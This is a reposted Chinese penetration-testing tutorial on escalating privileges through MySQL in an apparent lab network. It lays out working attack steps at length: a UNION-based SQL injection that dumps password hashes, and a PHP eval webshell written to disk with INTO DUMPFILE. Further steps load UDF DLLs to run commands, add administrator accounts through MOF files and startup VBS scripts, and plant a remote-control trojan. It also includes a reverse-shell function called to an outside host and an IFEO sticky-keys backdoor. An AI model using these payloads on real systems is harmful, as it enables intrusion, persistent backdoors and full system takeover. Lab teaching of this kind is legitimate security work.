详述MySQL服务在渗透测试中的利用
本文作者:i春秋簽約作家——Binghe
致力于書寫ichunqiu社區(qū)歷史上最長(zhǎng)篇最細(xì)致最真實(shí)的技術(shù)復(fù)現(xiàn)文章。
文章目錄:
- MySQL之UDF提權(quán)
- MySQL之MOF提權(quán)
- MySQL之常規(guī)寫啟動(dòng)項(xiàng)提權(quán)
- 導(dǎo)出木馬到啟動(dòng)項(xiàng)提權(quán)
- 反彈端口提權(quán)
- MySQL提權(quán)綜合姿勢(shì)
part1 mysql之UDF提權(quán)
首先什么是UDF?
UDF為`User Defined Function`-用戶自定義函數(shù),也就是支持用戶自定義函數(shù)的功能。看這個(gè)名字應(yīng)該就理解了一半了。MySQL是最流行的開放源碼SQL數(shù)據(jù)庫(kù)管理系統(tǒng),相對(duì)于Oracle,DB2等大型數(shù)據(jù)庫(kù)系統(tǒng),MySQL由于其開源性、易用性、穩(wěn)定性等特點(diǎn),受到個(gè)人使用者、中小型企業(yè)甚至一些大型企業(yè)的廣泛歡迎。并且MySQL 有很多內(nèi)置函數(shù)提供給使用者,包括字符串函數(shù)、數(shù)值函數(shù)、日期和時(shí)間函數(shù)等,給開發(fā)人員和使用者帶來(lái)了很多方便。雖然MySQL 的內(nèi)置函數(shù)雖然豐富,但畢竟不能滿足所有人的需要,有時(shí)候我們需要對(duì)表中的數(shù)據(jù)進(jìn)行一些處理而內(nèi)置函數(shù)不能滿足需要的時(shí)候,就需要對(duì) MySQL 進(jìn)行一些擴(kuò)展,這就是可以自行添加的MySQL 的 UDF。
0x01 MySQL信息收集
mysql中支持UDF擴(kuò)展 ,使得我們可以調(diào)用DLL里面的函數(shù)來(lái)實(shí)現(xiàn)一些特殊的功能。
假設(shè)存在了對(duì)應(yīng)的用于創(chuàng)建用戶自定義函數(shù)的dll文件,如`udf.dll`,我們暫且不討論dll文件的路徑問題,通過dll文件來(lái)創(chuàng)建用戶自定義函數(shù)(如`cmdshell`),要使用以下mysql語(yǔ)句:
create function cmdshell returns string soname 'udf.dll';當(dāng)然最值得注意的是MySQL對(duì)于用于UDF的dll文件路徑也是有具體限制的,MYSQL的各個(gè)版本各有不同。 下面記錄一下:
- 在MYSQL 4.1以前的版本中,可以將所有的DLL文件里面的任何函數(shù)都注冊(cè)到MYSQL里面以供MYSQL調(diào)用。
- 在MYSQL 4.1-MySQL5.1的版本中,對(duì)注冊(cè)的DLL的位置有了限制,創(chuàng)建函數(shù)的時(shí)候,所對(duì)應(yīng)的DLL不能包含`/`或者`\`,簡(jiǎn)單的理解就是不能是絕對(duì)路徑。所以我們將DLL釋放到system32目錄,來(lái)跳過這個(gè)限制,或者放到盤符的根目錄下通過`c:udf.dll`這種形式的寫法來(lái)跳過限制。其實(shí)只要把dll放到`PATH`這個(gè)環(huán)境變量所表示的任何一個(gè)目錄下面,效果跟放到系統(tǒng)`system32`目錄下面一樣,以下幾個(gè)創(chuàng)建函數(shù)的語(yǔ)句都是正確的:
create function cmdshell returns string soname 'udf.dll'; //假設(shè)此時(shí)udf.dll被上傳到了c:\windows\system32目錄create function cmdshell returns string soname 'C:udf.dll'; //假設(shè)此時(shí)udf.dll被上傳到了C盤根目錄目錄create function cmdshell returns string soname 'udf.dll'; //假設(shè)此時(shí)udf.dll被上傳到了任意的環(huán)境變量目錄,如C:\php\- MYSQL5.1及之后的幾個(gè)版本又多了一個(gè)限制:創(chuàng)建函數(shù)時(shí)所用的DLL只能放在mysql的plugin目錄里面,而且這個(gè)plugin目錄默認(rèn)是不存在的,可能就是為了防止黑客通過導(dǎo)出文件的方式將DLL來(lái)寫到這個(gè)文件夾,如果導(dǎo)出文件(`into dumpfile`)的目標(biāo)目錄不存在是會(huì)報(bào)錯(cuò)的。
**所以在導(dǎo)出UDF提權(quán)之前 ,先確定一下MYSQL的版本是有必要的**。
我們需要在實(shí)際的實(shí)戰(zhàn)中體會(huì)一下。首先假設(shè)我們通過前期的滲透測(cè)試得到了目標(biāo)機(jī)的一些信息:
sql注入點(diǎn)一枚:
http://172.16.12.2/dwva/vulnerabilities/sqli/test.php?id=1通過報(bào)錯(cuò)或者讀取phpinfo等方式取得目標(biāo)機(jī)的web根目錄為:c:\www\
根據(jù)我們之前講的sql注入相關(guān)知識(shí),我們嘗試通過以下語(yǔ)句讀取數(shù)據(jù)庫(kù)用戶相關(guān)信息:
http://172.16.12.2/dwva/vulnerabilities/sqli/test.php?id=-1 union select concat(host,0x7c,user,0x7c,password),2,3 from mysql.user where host = 'localhost'#>我們把參數(shù)從1改為-1是為了防止當(dāng)前查詢的返回結(jié)果影響我們到時(shí)候提取指定文本。
>`concat()`函數(shù)把多個(gè)需要查詢的字段放在一起
>`0x7c`是`|`符號(hào)的16進(jìn)制轉(zhuǎn)碼結(jié)果,有利于我們到時(shí)候把字段區(qū)分開。
我們得到以下具體信息:
localhost|root|*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B如此得知本地主機(jī)`localhost`的`root`賬戶的密碼hash是`*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B`。
滲透測(cè)試中,我們可以通過`cmd5.com`的大型hash破解平臺(tái)來(lái)破解密碼,我們這里通過線上破解得知,此hash對(duì)應(yīng)的密碼值為`root`.
其實(shí)滲透測(cè)試中我們還可以通過爆破或者文件包含讀取亦或是備份文件下載等方式得到目標(biāo)機(jī)的MySQL服務(wù)相關(guān)登錄信息。
然后我們嘗試在這里寫一個(gè)一句話webshell到服務(wù)器,一句話木馬樣本如下:
<?php @eval($_POST['pass']);?>我們?cè)诨鸷鼮g覽器的HackBar插件把上述一句話木馬轉(zhuǎn)換為16進(jìn)制,目的是避免特殊字符的轉(zhuǎn)義導(dǎo)致語(yǔ)句不能正確執(zhí)行:
?
如圖,一句話木馬加密后的結(jié)果為:
3c3f70687020406576616c28245f504f53545b2770617373275d293b3f3e然后在注入點(diǎn)構(gòu)造以下語(yǔ)句把一句話導(dǎo)出到`c:/www/small.php`,我們?cè)谝痪湓捘抉R的16進(jìn)制字符前加了`0x`(此為16進(jìn)制標(biāo)識(shí)符):
http://172.16.12.2/dwva/vulnerabilities/sqli/test.php?id=-1 union select 0x3c3f70687020406576616c28245f504f53545b2770617373275d293b3f3e,2,3 into dumpfile 'c:/www/small.php'?
以上語(yǔ)句連續(xù)執(zhí)行兩次,如果出現(xiàn)以下錯(cuò)誤,即說明文件寫入成功:
Invalid Query:File 'c:/www/small.php' already exists
//第二次寫入提示文件已存在則說明文件寫入成功
我們嘗試使用中國(guó)菜刀連接一句話木馬,并使用中國(guó)菜刀的數(shù)據(jù)庫(kù)管理功能來(lái)嘗試UDF提權(quán)。在中國(guó)菜刀的數(shù)據(jù)庫(kù)管理功能頁(yè)面上方輸入以下語(yǔ)句并執(zhí)行,查看數(shù)據(jù)庫(kù)版本信息:
select version();?
這里我們得知,服務(wù)器的MySQL版本為`5.5.40`
0x02 導(dǎo)出DLL文件
MYSQL5.1及之后的幾個(gè)版本又多了一個(gè)限制:創(chuàng)建函數(shù)時(shí)所用的DLL只能放在mysql的plugin目錄里面,而且這個(gè)plugin目錄默認(rèn)是不存在的,可能就是為了防止黑客通過導(dǎo)出文件的方式將DLL來(lái)寫到這個(gè)文件夾,如果導(dǎo)出文件(`into dumpfile`)的目標(biāo)目錄不存在是會(huì)報(bào)錯(cuò)的。
使用以下語(yǔ)句查詢MySQL的安裝根目錄:
select @@basedir;如上圖我們得知目標(biāo)服務(wù)器的MySQL的安裝根目錄為:
C:/Program Files/phpStudy/MySQL/根據(jù) 我們前面講述的MySQL5.1版本及其之后版本,我們自定義函數(shù)需要用到的shell導(dǎo)出的目錄應(yīng)該是:
C:/Program Files/phpStudy/MySQL/lib/plugin/其實(shí)也可以通過以下語(yǔ)句獲得插件目錄(并不一定真實(shí)存在):
show variables like '%plugin%';然后我們找個(gè)任意的可上傳目錄把我們準(zhǔn)備的`udf.dll`上傳。
假設(shè)`udf.dll`上傳后在服務(wù)器的絕對(duì)路徑為:c:/www/udf.dll
然后我們通過以下方式把上傳的文件以繼承MySQL的權(quán)限導(dǎo)出到plugin目錄,執(zhí)行以下語(yǔ)句:
select load_file('C:/www/udf.dll') into dumpfile 'C:/Program Files/phpStudy/MySQL/lib/plugin/udf.dll';執(zhí)行該語(yǔ)句之后,我們發(fā)現(xiàn)返回為空,可能是導(dǎo)出文件不成功,或者是plugin目錄不存在,我們通過菜刀的文件管理查看得知,plugin目錄不存在:
但是我們?nèi)杂修k法通過MySQL語(yǔ)句來(lái)建立文件夾,方法是通過NTFS ADS流來(lái)建立文件夾,但是成功率不太高。
執(zhí)行以下sql語(yǔ)句來(lái)創(chuàng)建`lib`目錄:
select 'test' into dumpfile 'C:/Program Files/phpStudy/MySQL/lib::INDEX_ALLOCATION';? ?
//利用NTFS ADS創(chuàng)建lib目錄
再執(zhí)行以下sql語(yǔ)句來(lái)創(chuàng)建`plugin`目錄:
select 'test' into dumpfile 'C:/Program Files/phpStudy/MySQL/lib/plugin::INDEX_ALLOCATION';
//利用NTFS ADS創(chuàng)建plugin目錄
利用NTFS ADS創(chuàng)建目錄成功率很小,這個(gè)命令執(zhí)行返回一直為空,二次執(zhí)行不提示目錄已存在,即可判斷目錄創(chuàng)建失敗。如上圖即目錄創(chuàng)建失敗。
我們嘗試碰碰運(yùn)氣,直接用php來(lái)創(chuàng)建plugin目錄(先切換到`C:\Program Files\phpStudy\MySQL\lib\`),一般情況下是嚴(yán)格限制了目錄權(quán)限的:
如上圖,看來(lái)我們運(yùn)氣不錯(cuò),直接成功創(chuàng)建了plugin目錄。
接著,我們執(zhí)行以下sql語(yǔ)句來(lái)導(dǎo)出`udf.dll`到`plugin`目錄:
select load_file('C:/www/udf.dll') into dumpfile 'C:/Program Files/phpStudy/MySQL/lib/plugin/udf.dll';然后我們執(zhí)行以下sql語(yǔ)句來(lái)通過`udf.dll`創(chuàng)建`shell`函數(shù)(此函數(shù)是我們上傳的`udf.dll`文件中內(nèi)定的函數(shù)名,不同的dll文件中有不同的函數(shù)名):
create function shell returns string soname 'udf.dll';?
`shell`函數(shù)用于執(zhí)行系統(tǒng)命令,用法如下,其中的`set`是將要執(zhí)行的cmd命令:
select shell('cmd','set');
//set命令用于查詢系統(tǒng)環(huán)境變量
如下圖,成功執(zhí)行了cmd命令并獲得了返回,右擊查詢結(jié)果,選擇`文本格式顯示`可以看到更全面的返回信息:
然后我們嘗試在服務(wù)器添加一個(gè)用戶名為`ichunqiu`密碼為`ichunqiu`的賬戶:
select shell('cmd','net user ichunqiu ichunqiu /add');接著嘗試把`ichunqiu`賬戶添加到`administrators`管理組:
select shell('cmd','net localgroup administrators ichunqiu /add');然后查看詳細(xì)的賬戶信息,確認(rèn)是否已經(jīng)成功添加上賬戶和賬戶是否已經(jīng)被成功添加到管理員組。如下操作:
select shell('cmd','net user ichunqiu');?
如此,提權(quán)完畢。
提權(quán)完畢之后我們可以通過以下語(yǔ)句刪除相關(guān)函數(shù)以防被他人利用:
drop function shell;//刪除函數(shù)
delete from mysql.func where name='shell';
//刪除函數(shù)
part2 學(xué)習(xí)mysql之MOF提權(quán)
0x01 準(zhǔn)備mof文件
- **`原理解讀:`**
Windows 管理規(guī)范 (WMI) 提供了以下三種方法編譯到 WMI 存儲(chǔ)庫(kù)的托管對(duì)象格式 (MOF) 文件:
方法1: 運(yùn)行 MOF 文件指定為命令行參數(shù)運(yùn)行 Mofcomp.exe 文件。方法2: 使用 `IMofCompiler` 接口和 `$ CompileFile `方法。
方法3: 拖放到`C:\windows\System32\Wbem\MOF` 文件夾的 MOF 文件。
Microsoft 建議您到存儲(chǔ)庫(kù)編譯 MOF 文件使用前兩種方法。
**`注意:`**第三種方法僅為向后兼容性與早期版本(windows2003)的 WMI 提供。
下面的代碼是mof文件內(nèi)容,默認(rèn)添加一個(gè)`admin`的賬戶,可以自行修改(`AddUser.mof`):
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; };instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; };instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };以下代碼內(nèi)容是把`admin`賬戶添加到`administrators`組的mof文件(`AddToAdmin.mof`):
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; };instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe localgroup administrators admin /add\")"; };instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };???我們一直說的MySQL的mof提權(quán)是利用上述第三種方法: 拖放到`C:\windows\System32\Wbem\MOF` 文件夾的 MOF 文件。。
0x02 嘗試mof提權(quán)
mof提權(quán)具體步驟如下:
1. 找個(gè)可寫目錄,上傳或新建mof文件
得到兩個(gè)mof文件的絕對(duì)路徑為:
C:\www\AddToAdmin.mof
2. 執(zhí)行sql導(dǎo)出mof文件到自定義路徑
在中國(guó)菜刀的數(shù)據(jù)庫(kù)管理功能頁(yè)執(zhí)行以下語(yǔ)句把添加賬戶的mof文件導(dǎo)出到系統(tǒng)的mof目錄:
select load_file('C:/www/AddUser.mof') into dumpfile 'c:/windows/system32/wbem/mof/AddUser.mof';**`注意:`**這里`C:/www/`是你上傳mof文件的隨意路徑,但后面的那個(gè)路徑`c:/windows/system32/wbem/mof/`則是固定的
然后在中國(guó)菜刀的數(shù)據(jù)庫(kù)管理功能頁(yè)執(zhí)行以下語(yǔ)句把添加賬戶到管理員組的mof文件導(dǎo)出到系統(tǒng)的mof目錄:
select load_file('C:/www/AddToAdmin.mof') into dumpfile 'c:/windows/system32/wbem/mof/AddToAdmin.mof';導(dǎo)出成功之后系統(tǒng)就會(huì)執(zhí)行mof文件里的cmd命令,稍等片刻我們使用中國(guó)菜刀的虛擬終端功能查看是否成功添加了用戶,
執(zhí)行net user admin看下用戶
如上圖可見,沒有再循環(huán)添加用戶,即我們終結(jié)循環(huán)的方法奏效了。
`C:\WINDOWS\system32\wbem\Repository\`放的是儲(chǔ)存庫(kù) 我們執(zhí)行的`.mof`都會(huì)被加入到這個(gè)庫(kù)了。然后一直按腳本設(shè)置的時(shí)間執(zhí)行。刪除后服務(wù),重新啟動(dòng)會(huì)重建個(gè)默認(rèn)儲(chǔ)存庫(kù),這樣我們先前執(zhí)行`mof`就沒了。
part3 常規(guī)寫啟動(dòng)項(xiàng)提權(quán)?
逐次執(zhí)行以下語(yǔ)句,往啟動(dòng)項(xiàng)寫入vbs:
insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin$ 123456 /add"",0) " );
//添加賬戶
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators admin$ /add"",0) " );
//添加到管理員組
然后我們執(zhí)行select * from a;查看是否成功寫入了表:
?然后執(zhí)行:
select * from a into outfile 'C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動(dòng)\\test.vbs'; //導(dǎo)出到啟動(dòng)項(xiàng) select load_file("c:\\docume~1\\alluse~1\\「開始」菜單\\程序\\啟動(dòng)\\test.vbs");//讀取啟動(dòng)項(xiàng)該文件,判斷是否寫入右鍵結(jié)果以`文本格式顯示`,我們得到以下內(nèi)容:
????
?
通過中國(guó)菜刀的文件管理功能也可查看文件是否寫入成功,是否存在語(yǔ)法錯(cuò)誤:
?
??
? 于是我們得知,此vbs腳本文件已經(jīng)被成功寫到了目標(biāo)機(jī)的啟動(dòng)項(xiàng),只要目標(biāo)機(jī)重啟,就會(huì)運(yùn)行該命令添加我們預(yù)設(shè)的賬戶。只是此方法有些被動(dòng)。
我們?cè)诒緳C(jī)測(cè)試下此VBS文件是否可用,復(fù)制上述的查詢結(jié)果,在桌面保存為1.vbs,然后雙擊執(zhí)行,vbs文件運(yùn)行很有隱蔽性,基本看不到彈窗:
?
net user admin$
??
?
先在webshell里連接上數(shù)據(jù)庫(kù),建立表,將VBS寫入表里,然后導(dǎo)入啟動(dòng)項(xiàng),??如果UDF提權(quán)不行的話也可以嘗試下這個(gè)方法,前提是要有ROOT權(quán)限,后面有個(gè),0表示不彈出CMD窗口,安靜的運(yùn)行。?part 4 導(dǎo)出木馬到啟動(dòng)項(xiàng)提權(quán)
此處方法同樣適用于沒有shell的情況,外聯(lián)MySQL操作。
假如我們掃到了一個(gè)mysql的root弱密碼,并且可以外連,但是服務(wù)器上面的網(wǎng)站又無(wú)法Getshell,這時(shí)我們?cè)趺崔k呢?
我們講過相關(guān)的木馬實(shí)驗(yàn),如灰鴿子之類的遠(yuǎn)控木馬,此處假設(shè),我們已經(jīng)配置好相關(guān)參數(shù),并生成了木馬在本地的`c:\server.exe`:
先在命令行下切換到本地`mysql.exe`的絕對(duì)路徑:
如:
cd C:\Program Files\phpStudy\MySQL\bin
執(zhí)行以下語(yǔ)句登入本地的MySQL服務(wù)(用于在本地生成木馬的16進(jìn)制),輸入密碼root登入:
mysql.exe -h 127.0.0.1 -u root -p登入成功之后,我們嘗試通過mysql寫出我們上述的木馬`c:\server.exe`的16進(jìn)制數(shù)據(jù)到`c:\hex.txt`:
select hex(load_file('c:/server.exe')) into dumpfile 'c:/hex.txt';然后打開`c:\hex.txt`可看到上述的木馬`c:\server.exe`的16進(jìn)制數(shù)據(jù):
?
?
?
如此得到了木馬的16進(jìn)制數(shù)據(jù),接著我們登錄目標(biāo)服務(wù)器的MySQL服務(wù)。
利用`mysql.exe`數(shù)據(jù)庫(kù)管理工具連接mysql服務(wù)器,然后執(zhí)行下面的操作。
中國(guó)菜刀支持mysql語(yǔ)句執(zhí)行,但是有語(yǔ)句長(zhǎng)度限制。
先在MySQL命令行輸入`exit`退出當(dāng)前會(huì)話,然后執(zhí)行以下語(yǔ)句登錄目標(biāo)服務(wù)器的MySQL服務(wù):
mysql.exe -h 172.16.12.2 -u root -p輸入密碼并登陸:
??
??然后我們構(gòu)造以下語(yǔ)句寫出木馬文件到目標(biāo)機(jī)的啟動(dòng)項(xiàng):
select 0x木馬的16進(jìn)制 into dumpfile 'C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\啟動(dòng)\\server.exe';**`注意:`**請(qǐng)?zhí)鎿Q上述命令中的字符串`木馬的16進(jìn)制`為我們之前生成的`c:\hex.txt`文件內(nèi)容,復(fù)制過去替換即可:
稍等命令行加載16進(jìn)制木馬數(shù)據(jù),加載好之后是這樣:
?
?
????
回車執(zhí)行即可把木馬文件導(dǎo)出到目標(biāo)機(jī)的啟動(dòng)項(xiàng)。
其實(shí)我們也可以通過如下操作寫出木馬文件:
insert into a values (CONVERT(木馬的16進(jìn)制代碼,CHAR));
//寫入數(shù)據(jù)
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\啟動(dòng)\\mm.exe';
//導(dǎo)出數(shù)據(jù)到啟動(dòng)項(xiàng)
drop table a;? ?? ???//刪除表
此處作為一種思路,局限性也比較大,比較被動(dòng)。必須目標(biāo)機(jī)重啟才能執(zhí)行我們的遠(yuǎn)控木馬。用于沒有拿到webshell、UDF和MOF提權(quán)都失敗的情況。
part5 反彈端口提權(quán)
我們這里用的其實(shí)也是基于UDF自定義函數(shù)的思路,我們?yōu)榱朔奖?#xff0c;直接把sql語(yǔ)句放在txt文件里,然后其后通過mysql批量執(zhí)行,假設(shè)命令存儲(chǔ)的在`mysql.txt`。
我們需要打開`mysql.txt`,根據(jù)目標(biāo)機(jī)情況修改相關(guān)語(yǔ)句,文件內(nèi)容最下方原本是這個(gè)樣子:
??
??
?
大家可以看到,上述的步驟其實(shí)也是創(chuàng)建函數(shù)的過程,根據(jù)我們前面`UDF提權(quán)實(shí)驗(yàn)`的相關(guān)知識(shí),我們主要對(duì)文件做以下修改:
我們此前已經(jīng)得知了插件目錄,可以通過以下語(yǔ)句獲得插件目錄(并不一定真實(shí)存在):
將上述`mysql.txt`文件內(nèi)容語(yǔ)句中的
select data from Ghost into DUMPFILE 'c:\\windows\\system32\\udf.dll';修改為:
select data from Ghost into DUMPFILE 'C:/Program Files/phpStudy/MySQL/lib/plugin/hack.dll';這里作此修改是由于MySQL高版本的用戶自定義函數(shù)加載dll文件的路徑限制。
再將上述`mysql.txt`文件內(nèi)容語(yǔ)句中的
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';修改為:
CREATE FUNCTION backshell RETURNS STRING SONAME 'hack.dll';最后文件內(nèi)容如下圖:
???然后我們把修改好的`mysql.txt`放到c:/mysql.txt
利用`mysql.exe`數(shù)據(jù)庫(kù)管理工具連接mysql服務(wù)器,然后執(zhí)行下面的操作。
中國(guó)菜刀不支持交互式的mysql語(yǔ)句執(zhí)行。如果你不嫌麻煩,可以嘗試在中國(guó)菜刀里一句一句的執(zhí)行`mysql.txt`中的語(yǔ)句。但是仍有語(yǔ)句長(zhǎng)度限制。
cd C:\Program Files\phpStudy\MySQL\binmysql.exe -h 172.16.12.2 -u root -p
\. c:/www/mysql.txt;
????
很遺憾,批量執(zhí)行沒有成功,那么還可以嘗試依次執(zhí)行`mysql.txt`里的語(yǔ)句,但是可能目標(biāo)服務(wù)器做了限制,還是沒有成功:
???
??
??
??如上圖可見,語(yǔ)句復(fù)制過去,命令行只能接收一部分,看來(lái)是語(yǔ)句限制的問題,我們的dll的16進(jìn)制數(shù)據(jù)太長(zhǎng)。
那么即便如此,我們還是有辦法解決,我們嘗試通過中國(guó)菜刀上傳這個(gè)將要導(dǎo)出的dll文件(上述辦法在沒有shell的情況下基本無(wú)解),假設(shè)文件上傳在:c:\www\hack.dll
如此導(dǎo)出udf需要的dll:
select load_file('C:/www/hack.dll') into dumpfile 'C:/Program Files/phpStudy/MySQL/lib/plugin/hack.dll';創(chuàng)建backshell函數(shù):
CREATE FUNCTION backshell RETURNS STRING SONAME 'hack.dll';執(zhí)行函數(shù)測(cè)試:
select backshell('');? ??
??
???得到如下使用提示:
反彈shell.例:select backshell("your IP",your port);
如此完全說明自定義函數(shù)創(chuàng)建成功且可用。
執(zhí)行函數(shù)制定目標(biāo)進(jìn)行反彈:
select backshell("172.16.11.2",2010);?????
??
1. 本地用NC監(jiān)聽你反彈的端口
如果nc沒有反應(yīng),就在shell上面再執(zhí)行一遍反彈的sql語(yǔ)句:
??
??
如上圖,成功接收到了反彈信息,嘗試執(zhí)行whoami:
?
??
???我們可以看到,當(dāng)前權(quán)限已經(jīng)依靠MySQL服務(wù)提升到了最高權(quán)限`SYSTEM`.
此處也作為一種思路,用于UDF沒有成功取得cmdshell和MOF提權(quán)都失敗的情況。
此類方法還有創(chuàng)建操作注冊(cè)表的相關(guān)函數(shù),如`regwrite`,我僅作科普,在后面的實(shí)驗(yàn)中可能會(huì)講到,以下是利用注冊(cè)表映像劫持,安裝shift后門:
select regwrite("HKEY_LOCAL_MACHINE","SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe","debugger","REG_SZ","C:\\recycler\\cmd.exe");
part6 MySQL提權(quán)綜合姿勢(shì)
0x01 MySQL自動(dòng)化提權(quán)
當(dāng)然啦,再?gòu)?qiáng)大的自動(dòng)化工具也只是輔助。
無(wú)論是技術(shù)、工具,本質(zhì)都是人為的,工具只是提供便利。
小編根據(jù)UDF提權(quán)原理、寫啟動(dòng)項(xiàng)提權(quán)原理、MOF提權(quán)原理,寫了個(gè)python腳本,在桌面的`tools`目錄的`mysql.py`。
`腳本依賴pymysql模塊,我已經(jīng)在操作機(jī)里面安裝好環(huán)境依賴。`
我們先來(lái)看下腳本的功能和使用方法:
**功能:**
執(zhí)行成功會(huì)返回如下信息和內(nèi)置的cmd命令返回:??
???
????
1. 自動(dòng)導(dǎo)出mof文件,
2. 自動(dòng)判斷mysql版本,根據(jù)版本不同導(dǎo)出UDF的DLL到不同目錄,UDF提權(quán)
3. 導(dǎo)出LPK.dll文件,劫持系統(tǒng)目錄提權(quán)
4. 寫啟動(dòng)項(xiàng)有問題,已經(jīng)注釋掉
**用法:**
python mysql.py 目標(biāo)機(jī)ip mysql端口 mysql賬戶 mysql密碼我們來(lái)實(shí)際測(cè)試一下,如圖:
python mysql.py 172.16.12.2 3306 root root?
??
?????
如上圖,可以看到提權(quán)成功,返回了一些我們內(nèi)置的命令,看看到了服務(wù)器的一些敏感信息。
其實(shí)UDF函數(shù)執(zhí)行的是下圖中圈中的cmd命令,大家修改該部分命令再執(zhí)行,命令即會(huì)在目標(biāo)機(jī)被執(zhí)行:
??????
???如上圖我們把命令部分修改為:
ver&whoami&net user//查詢系統(tǒng)版本、當(dāng)前權(quán)限、用戶情況
在執(zhí)行該腳本:
?
???如下圖很快得到了我們想要的信息:
Microsoft Windows [版本 5.2.3790]nt authority\system
\\ 的用戶帳戶
--------------------------------------------
Administrator? ?? ?? ?? ?ASPNET? ?? ?? ?? ?? ?? ? Guest
IUSR_V5EST0RD0BE? ?? ?? ?IWAM_V5EST0RD0BE? ?? ?? ?SUPPORT_388945a0
命令運(yùn)行完畢,但發(fā)生一個(gè)或多個(gè)錯(cuò)誤。
可以看到,我們當(dāng)前已經(jīng)是`nt authority\system`,最高權(quán)限。
0x02 外聯(lián)配合遠(yuǎn)控
我們拋磚引玉,假設(shè)這樣一種情況:掃到mysql弱口令,沒拿到shel,可udf,但是目標(biāo)處于內(nèi)網(wǎng),我們連接不上遠(yuǎn)程桌面。
這樣的情況如何解決呢?聰明的你一定想到了,這很簡(jiǎn)單:利用我們前面的知識(shí):導(dǎo)出16進(jìn)制木馬到目標(biāo)服務(wù)器,在利用udf執(zhí)行我們導(dǎo)出的遠(yuǎn)控木馬。
那么看如何操作(詳細(xì)的導(dǎo)馬步驟請(qǐng)參考上述的`MySQL導(dǎo)出木馬到啟動(dòng)項(xiàng)提權(quán)`章節(jié)):
假設(shè)灰鴿子之類的遠(yuǎn)控木馬已經(jīng)生成在本地的`c:\server.exe`:
我們參考上述的`MySQL導(dǎo)出木馬到啟動(dòng)項(xiàng)提權(quán)`章節(jié),通過mysql寫出我們上述的木馬`c:\server.exe`的16進(jìn)制數(shù)據(jù)到`c:\hex.txt`:
打開`c:\hex.txt`可看到上述的木馬`c:\server.exe`的16進(jìn)制數(shù)據(jù):
?
?
???利用`mysql.exe`數(shù)據(jù)庫(kù)管理工具連接mysql服務(wù)器,然后執(zhí)行下面的操作。
先在命令行下切換到本地`mysql.exe`的絕對(duì)路徑:
cd C:\Program Files\phpStudy\MySQL\binmysql.exe -h 172.16.12.2 -u root -p
然后我們構(gòu)造以下語(yǔ)句寫出木馬文件到目標(biāo)機(jī)的C盤根目錄:
select 0x木馬的16進(jìn)制 into dumpfile 'C:\\server.exe';**`注意:`**請(qǐng)?zhí)鎿Q上述命令中的字符串`木馬的16進(jìn)制`為我們之前生成的`c:\hex.txt`文件內(nèi)容,復(fù)制過去替換即可:
等待命令行加載16進(jìn)制木馬數(shù)據(jù),回車執(zhí)行即可把木馬文件導(dǎo)出到目標(biāo)機(jī)的啟動(dòng)項(xiàng)。
??
??
如上圖,sql命令執(zhí)行成功,此時(shí)server.exe已經(jīng)在目標(biāo)機(jī)的C盤根目錄了。
但是,同學(xué)會(huì)問,如何執(zhí)行木馬呢? 當(dāng)然是通過UDF調(diào)用cmd了。
為了方便,我們直接結(jié)合上面的自動(dòng)化提權(quán)相關(guān)知識(shí),替換相關(guān)的cmd語(yǔ)句執(zhí)行木馬:
?
?
如上圖,我們把cmd命令部分替換為如下:
c:/server.exe然后在到工具目錄打開cmd執(zhí)行以下命令調(diào)用腳本執(zhí)行木馬:
python mysql.py 172.16.12.2 3306 root root? ?
??
?如上圖,由于程序正在執(zhí)行木馬,有些延遲,有經(jīng)驗(yàn)的人都知道,木馬執(zhí)行沒有回顯,執(zhí)行木馬時(shí)會(huì)卡頓一下。
如此是繼承`SYSTEM`權(quán)限執(zhí)行的木馬,得到的遠(yuǎn)控服務(wù)端也將是`SYSTEM`權(quán)限。
最后說兩點(diǎn):
1. 富文本編輯器簡(jiǎn)直就是垃圾,抓狂到我差點(diǎn)砸了電腦,這篇文章排版我排了4小時(shí)一直到凌晨--MarkDown才是王道,美感源于簡(jiǎn)單自然。
2. 文章中有些腳本或文件具有攻擊性,故沒有放出來(lái),有需要測(cè)試的同學(xué)可以私信聯(lián)系我提供,我以往的帖子也有提及。
轉(zhuǎn)載于:https://www.cnblogs.com/ichunqiu/p/7383094.html
總結(jié)
以上是生活随笔為你收集整理的详述MySQL服务在渗透测试中的利用的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 2022年低压电工考试题及答案
- 下一篇: 【ubuntu系统】报错:libkmod